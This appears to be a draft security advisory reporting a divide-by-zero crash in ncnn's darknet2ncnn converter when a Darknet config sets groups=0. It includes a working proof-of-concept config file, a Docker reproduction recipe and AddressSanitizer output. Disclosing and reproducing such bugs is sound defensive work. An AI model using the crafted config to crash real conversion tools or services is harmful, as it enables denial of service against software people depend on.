All advisories
Draft

Denial Of Service Via Darknet Config Divide-By-Zero

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Denial Of Service Via Darknet Config Divide-By-Zero

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/darknet/darknet2ncnn.cpp:425 in parse_cfg
Sanitizer verdict: FPE on unknown address 0x55c5b94f9a0d (pc 0x55c5b94f9a0d bp 0x7ffea07165f0 sp 0x7ffea0714610 T0)

Summary

An attacker who controls the Darknet .cfg file handed to the darknet2ncnn converter can abort the process with SIGFPE. Setting groups=0 in a [convolutional] section is accepted verbatim by the cfg parser, and parse_cfg later divides the computed weight count by that value while emitting the ncnn weight_data_size parameter. The crash happens in main before load_weights is even called, so the converter dies without producing output.

Detail

Section::groups is initialised to 1 in the section struct and is one of the keys exposed through update_field's field table, so any groups=<int> line in the cfg overwrites it with the raw atoi result. load_cfg performs no range validation, and parse_cfg — invoked from main at line 899, immediately after load_cfg and before load_weights at line 902 — uses the value directly as a divisor.

// tools/darknet/darknet2ncnn.cpp:140
        {"groups", INT, FIELD_OFFSET(groups)},

// tools/darknet/darknet2ncnn.cpp:425
            s->param.push_back(format("6=%d", s->c * s->size * s->size * s->filters / s->groups)); //weight_data_size

            if (s->groups > 1)
                s->param.push_back(format("7=%d", s->groups)); //stride_w

The guard on the following line, if (s->groups > 1), shows the code only ever anticipates values greater than one; nothing rejects 0 or a negative count on the divide at line 425. The PoC cfg declares a [net] section of 32x32x3 and a [convolutional] section with filters=1 size=1 padding=0 groups=0, so parse_cfg evaluates 3 * 1 * 1 * 1 / 0. The integer division by zero raises SIGFPE, and the converter aborts with the placeholder weights file still unread.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-denial-of-service-via-darknet-config-divide-by-zero && cd ncnn-poc-denial-of-service-via-darknet-config-divide-by-zero

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.cfg <<'POC_EOF'
[net]
width=32
height=32
channels=3

[convolutional]
filters=1
size=1
padding=0
groups=0
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/darknet/darknet2ncnn poc.cfg null

AddressSanitizer output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5c24aa01da0d (pc 0x5c24aa01da0d bp 0x7ffeebb6caf0 sp 0x7ffeebb6ab10 T0)
    #0 0x5c24aa01da0d in parse_cfg(std::deque<Section*, std::allocator<Section*> >&, int) /ncnn/tools/darknet/darknet2ncnn.cpp:425
    #1 0x5c24aa02a7f3 in main /ncnn/tools/darknet/darknet2ncnn.cpp:899
    #2 0x72bbec9cf1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #3 0x72bbec9cf28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x5c24aa016c84 in _start (/ncnn/build/tools/darknet/darknet2ncnn+0x6c84) (BuildId: cdc337ce08678f09e6228246802e17810873cd07)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/tools/darknet/darknet2ncnn.cpp:425 in parse_cfg(std::deque<Section*, std::allocator<Section*> >&, int)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst